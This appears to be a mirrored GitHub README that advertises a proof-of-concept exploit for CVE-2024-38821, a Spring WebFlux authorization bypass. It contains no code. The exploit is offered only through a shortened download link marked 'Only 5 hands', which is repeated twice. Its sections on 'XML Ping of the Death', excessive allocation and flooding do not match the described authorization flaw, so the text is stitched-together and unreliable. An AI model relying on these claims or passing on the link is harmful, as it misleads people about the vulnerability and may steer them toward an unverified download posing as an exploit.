CVE-2024-38821 PoC — Spring WebFlux 安全漏洞

介绍

# CVE-2024-38821

## Overview

CVE-2024-38821 is a critical authorization bypass vulnerability identified in certain versions of Spring WebFlux applications using Spring Security. This vulnerability allows unauthorized access to static resources, bypassing defined authorization rules, under specific conditions.

## Description
- **CVE ID**:	CVE-2024-38821
- **CVSS SCORE**: 9.1
- **Severity**: Critical
- **Tags**: cve, cve2024, xml, python, http

## Exploit(Only 5 hands):

[Download](https://ur0.jp/aV2fu)

## Affected Versions

![image](https://github.com/user-attachments/assets/c4192867-ec04-4c7c-8373-603c138f4d6d)

## Explot Details

CVE-2024-38821 affects the authorization checks applied to static resources within WebFlux applications. Under the specified conditions, the exploit allows attackers to bypass authorization rules intended to restrict access to these resources.

## XML Ping of the Death
![image](https://github.com/user-attachments/assets/616f888a-1abc-4dc2-b7d7-cb2305e4a551)

## Excessive Allocation
![image](https://github.com/user-attachments/assets/d43bbfd2-e87b-4686-9543-92d15edfb261)

## Flooding
![image](https://github.com/user-attachments/assets/5b4b8e2d-7315-475e-908f-4fdf17b9676a)

## Requirement

Python 3.9

## Exploit(Only 5 hands):

[Download](https://ur0.jp/aV2fu)

文件快照

备注